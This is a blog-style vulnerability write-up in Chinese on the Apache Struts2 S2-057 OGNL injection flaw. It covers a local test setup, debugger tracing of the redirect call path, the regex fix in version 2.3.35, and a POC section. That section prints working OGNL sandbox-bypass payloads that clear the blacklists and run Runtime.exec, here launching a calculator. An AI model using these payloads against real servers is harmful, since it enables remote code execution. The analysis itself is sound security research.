struts2漏洞分析(S2-057为例)

0x00 前言

利用空闲时间分析了一下struts2框架的历史高危漏洞,发现除了S2-052(XStream反序列化漏洞)以外,其他漏洞的本质都是由于框架执行了恶意用户传进来的OGNL表达式,从而造成远程代码执行。
发生OGNL表达式注入的点也是多种多样,如:请求参数名、请求参数值、content-type请求头、文件上传时的filename值、url地址等等。
struts2官方在S2-005漏洞爆出之前就已经添加了沙箱进行安全防护,但是却被不断绕过。这里记录一下我分析S2-057的过程。

0x01 环境搭建

1、我是使用的IDEA创建的一个maven项目,为了方便,我创建项目时使用的maven提供的如下的archetype:
struts2漏洞分析(S2-057为例)_第1张图片
2、项目创建后,在src/main目录下创建一个目录resources(简单起见没有创建java源代码目录),如下:
struts2漏洞分析(S2-057为例)_第2张图片
目录创建完后还需要在Project Structure配置中,按照下图设置,将resources目录标记为Resources即可:
struts2漏洞分析(S2-057为例)_第3张图片
3、在pom.xml中引入struts2的依赖:

<dependency>
      <groupId>org.apache.strutsgroupId>
      <artifactId>struts2-coreartifactId>
      <version>2.3.34version>
dependency>

4、在resources目录下创建struts.xml文件,内容为:




<struts>

    
    <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

    <package name="default" namespace="/*" extends="struts-default">

        <action name="test1">
            <result type="redirectAction">testActionresult>
        action>

        <action name="test2">
            <result type="chain">testActionresult>
        action>

        <action name="test3">
            <result type="postback">testActionresult>
        action>

    package>

struts>

5、在src/main/webapp/WEB-INF/web.xml文件中的标签中添加如下内容:

<filter>
    <filter-name>struts2filter-name>
    <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilterfilter-class>
filter>
<filter-mapping>
    <filter-name>struts2filter-name>
    <url-pattern>/*url-pattern>
filter-mapping>

6、这时struts2环境就搭建上了,整个项目的目录结构如下:
struts2漏洞分析(S2-057为例)_第4张图片
7、然后就是配置上本地的tomcat:
struts2漏洞分析(S2-057为例)_第5张图片
8、tomcat配置完成后,点击如下按钮,配置上tomcat上运行的war包,以下两种方式均可:
struts2漏洞分析(S2-057为例)_第6张图片
9、到这就完成了所有配置,启动项目后,在可以在浏览器访问了。

0x02 漏洞检测

浏览器访问地址:
http://localhost:8080/$%7B22+22%7D/test1,即:
这时浏览器上的地址会被重定向到:
http://localhost:8080/44/testAction.action
struts2漏洞分析(S2-057为例)_第7张图片
可以看到OGNL表达式${22+22}被解析为了44,说明上面搭建的环境确实存在漏洞。

0x03 漏洞原理

s2-057漏洞存在需要有两个必要条件:
1、 alwaysSelectFullNamespace属性值为true
2.、存在缺省namespace的package,或namespace使用了通配符(如“/*”)

3.1 alwaysSelectFullNamespace属性作用

既然alwaysSelectFullNamespace属性值为true是漏洞存在的必要条件,那么在分析漏洞原理之前,我先了解了一下alwaysSelectFullNamespace属性的作用,当alwaysSelectFullNamespace属性值为true时,可以明确用户访问的action在属于指定namespace的package中,不会发生去其他package中搜索action的情况,从而避免发生一些无法预知的问题
举个例子,访问http://localhost:8080/aaa/bbb/test地址时:
当alwaysSelectFullNamespace属性值为默认的false时,框架首先会查找有没有名为/aaa/bbb的namespace,如果没有,则会查找有没有名为/aaa的namespace,如果依然没有,则会查找名为/的namespace,就这样一直往上查找上一层namespace,中间只要找到存在的namespace,便会在该namespace的package下查找名为test的action。如果一直没有找到存在的namespace或者在存在的namespace中没有找到需要的action,这时框架就会去缺省namespace的package中查找action,如果仍未找到,便会返回404,找到了则会执行该action。
当alwaysSelectFullNamespace属性值修改为true时,他只会查找名为/aaa/bbb的namespace,如果找不到,则直接去缺省namespace的package中查找action,不会层层查找上一级namespace是否存在。因此避免了一些无法预知的问题的发生。
当web应用中使用了Struts2 Convention插件时,alwaysSelectFullNamespace属性值是会开启的。我在做代码审计项目时,有时遇到一些使用struts2框架的系统,没有发现有开发人员开启这个属性的情况(即使在高版本的struts2中,我也会好奇地去看一下,虽然没什么意义),可能因为遇到的使用struts2框架的系统太少了吧,毕竟现在大部分都用的ssm或springboot。

3.2 调用栈分析

这里我是通过参考漏洞发现者博客后进行分析的。
1、首先在org.apache.struts2.dispatcher.ServletActionRedirectResult#execute方法里设置断点,以调试模式启动项目,然后浏览器访问
http://localhost:8080/$%7B22+22%7D/test1
2、如下图可以看到,在处理redirectAction类型的跳转时的逻辑,先把namespace=“/${22+22}”和actionName=“testAction”封装到ActionMapping类型对象中,然后通过getUriFromActionMapping方法获取到完整url地址tmpLocation=“/${22+22}/testAction”,并将其赋值给this对象的location属性,最后调用父类的execute方法。
struts2漏洞分析(S2-057为例)_第8张图片
3、后面单步执行到其父类的父类的execute方法如下,看到调用了conditionalParse方法,并把location属性值传递了进入:
在这里插入图片描述
4、跟入该方法,看到了如下调用,就很熟悉了,该方法就是解析OGNL表达式的方法,看到将上面的location值传了进去:
在这里插入图片描述
5、于是“${22+22}”表达式就被成功解析了:
在这里插入图片描述
6、至于为什么要开启alwaysSelectFullNamespace属性?在org.apache.struts2.dispatcher.mapper.DefaultActionMapper#parseNameAndNamespace方法中解析uri时,如果alwaysSelectFullNamespace属性值为true,会进入如下分支:
struts2漏洞分析(S2-057为例)_第9张图片
上面的if分支中获取到uri中的namespae与action后,后面就将其添加到了mapping对象中,该mapping对象是ActionMapping类型
在这里插入图片描述
7、在org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter#doFilter方法中,在如下第一个红框里面获取到上面第6步中设置值的ActionMapping对象,然后在第二个红框中将该ActionMapping对象传了进去,经过一系列调用后到了上面第1到5步的调用流程。
struts2漏洞分析(S2-057为例)_第10张图片
8、由于整个调用栈很深,就没有一步一步跟进,只是分析了一下几个关键的地方,个人认为分析全部调用链也没意义。

0x04 漏洞修复

S2-057漏洞存在于小于等于 Struts 2.3.34 和 Struts 2.5.16的版本中,于是修改项目中依赖的struts2的版本为2.3.35,如下:

<dependency>
      <groupId>org.apache.strutsgroupId>
      <artifactId>struts2-coreartifactId>
      <version>2.3.35version>
dependency>

然后启动项目,在org.apache.struts2.dispatcher.mapper.DefaultActionMapper#parseNameAndNamespace方法中可以看到如下代码:
在这里插入图片描述
与上面第3章第6步中的代码对比后发现在设置namespace值时使用了cleanupNamespaceName方法进行了校验,校验方法是进行正则匹配:
struts2漏洞分析(S2-057为例)_第11张图片
正则表达式是:
在这里插入图片描述
可以看到其只允许大小写字母和数字及“.”、“_”、“/”、“-”四种符号,因此就无法注入OGNL表达式了。

0x05 POC分析

上面漏洞分析过程中,只是简单的注入了${22+22}表达式,在网上找到了可执行命令的表达式,为了方便测试poc,我新建了一个test.jsp文件,然后使用标签进行测试:

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
    <title>test</title>
</head>

<body>

    <s:property value="%{
	    (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
	    (#context=#request['struts.valueStack'].context).
	    (#container=#context['com.opensymphony.xwork2.ActionContext.container']).
	    (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
	    (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
	    (#context.setMemberAccess(#dm)).
	    (#p=@java.lang.Runtime@getRuntime().exec('calc'))
    }"/>

</body>
</html>

上面的OGNL表达式是执行calc命令弹出计算器。下面贴出测试S2-045时的POC:

<s:property value="%{
    (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
    (#container=#context['com.opensymphony.xwork2.ActionContext.container']).
    (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
    (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
    (#context.setMemberAccess(#dm)).
    (#p=@java.lang.Runtime@getRuntime().exec('calc'))
}"/>

可以看到唯一的差别就是#context对象获取方式不同,在S2-045时,直接可以在上下文中获取,于是我把pom.xml中的struts2的版本修改为了2.3.31,查看ognl.OgnlContext#get方法,可以看到当请求“context”时,会返回该对象:
struts2漏洞分析(S2-057为例)_第12张图片
但修改到2.3.34版本时,再查看ognl.OgnlContext#get方法,发现已经去除了该分支:
struts2漏洞分析(S2-057为例)_第13张图片
因此无法通过在上下文中通过#context方法获取OgnlContext对象,但是在#request域中存在值栈对象,在值栈对象中存在OgnlContext对象,如下:
struts2漏洞分析(S2-057为例)_第14张图片
因此可在request域中获取context对象。POC中获取context对象后,后面的代码就是去绕过沙箱里的安全配置:
#ognlUtil.getExcludedPackageNames().clear()操作会清除黑名单中的包名,如下所示这三个包下的类是不能被解析的:
struts2漏洞分析(S2-057为例)_第15张图片
#ognlUtil.getExcludedClasses().clear()操作当然就是清除黑名单中类名,如下所示即为不能解析的全类名,可以看到两个执行命令的类均在黑名单:
struts2漏洞分析(S2-057为例)_第16张图片
上述黑名单清除后,#[email protected]@DEFAULT_MEMBER_ACCESS,#context.setMemberAccess(#dm)操作则是设置OgnlContext对象中的memberAccess属性为DefaultMemberAccess类型,因为OgnlContext中默认的memberAccess属性为SecurityMemberAccess类型,如下:
struts2漏洞分析(S2-057为例)_第17张图片
从上图中虽然可以看到前面清除黑名单的操作在这里也起了效果,但还是有必要将memberAccess属性设置为DefaultMemberAccess类型,因为在SecurityMemberAccess中还有诸如allowStaticMethodAccess等的安全属性进行限制。
经过这些设置,就可以绕过沙箱保护来执行命令了。

0x06 总结

1、上面POC分析中,我有个疑问,就是既然将OgnlContext对象中的memberAccess属性设置为了DefaultMemberAccess类型,那应该就没必要使用#ognlUtil.getExcludedPackageNames().clear()和#ognlUtil.getExcludedClasses().clear()操作来清除黑名单了,但是我把该操作删除,也就是直接执行如下ognl表达式时:

<s:property value="%{
    (#[email protected]@DEFAULT_MEMBER_ACCESS).
    (#context=#request['struts.valueStack'].context).
    (#context.setMemberAccess(#dm)).
    (#[email protected]@getRuntime().exec('calc'))
}"/>

jsp页面会抛出如下异常:
struts2漏洞分析(S2-057为例)_第18张图片
从该异常中看不出是什么原因造成的,而且控制台也没有打印异常信息。
我又进行了另外一个测试,新建一个Action类,这一次在Action类中将OgnlContext对象中的memberAccess属性设置为了DefaultMemberAccess类型,如下:
struts2漏洞分析(S2-057为例)_第19张图片
在struts.xml中添加如下配置:
struts2漏洞分析(S2-057为例)_第20张图片
这时在浏览器访问http://localhost:8080/testAction时,页面会转发到test.jsp,并且成功弹出计算器,且没有抛出异常。
时间有限,就没有再继续分析上述抛异常原因了,希望有大佬能帮忙解惑。
2、学习到了发现S2-057漏洞的作者在他博客中讲述的一种挖掘源代码漏洞的方法,利用CodeQL进行语义分析,跟踪不受信任的数据源进入执行危险操作的方法中来挖掘漏洞,同时也想到了经常用到的Fortify也是基于这个原理来扫描源代码漏洞的,而且Fortify也可以自定义规则,因此计划后期把研究重点放在利用CodeQL和Fortify自定义规则进行语义分析来挖掘漏洞上面。

参考

https://securitylab.github.com/research/apache-struts-CVE-2018-11776

你可能感兴趣的:(java代码审计)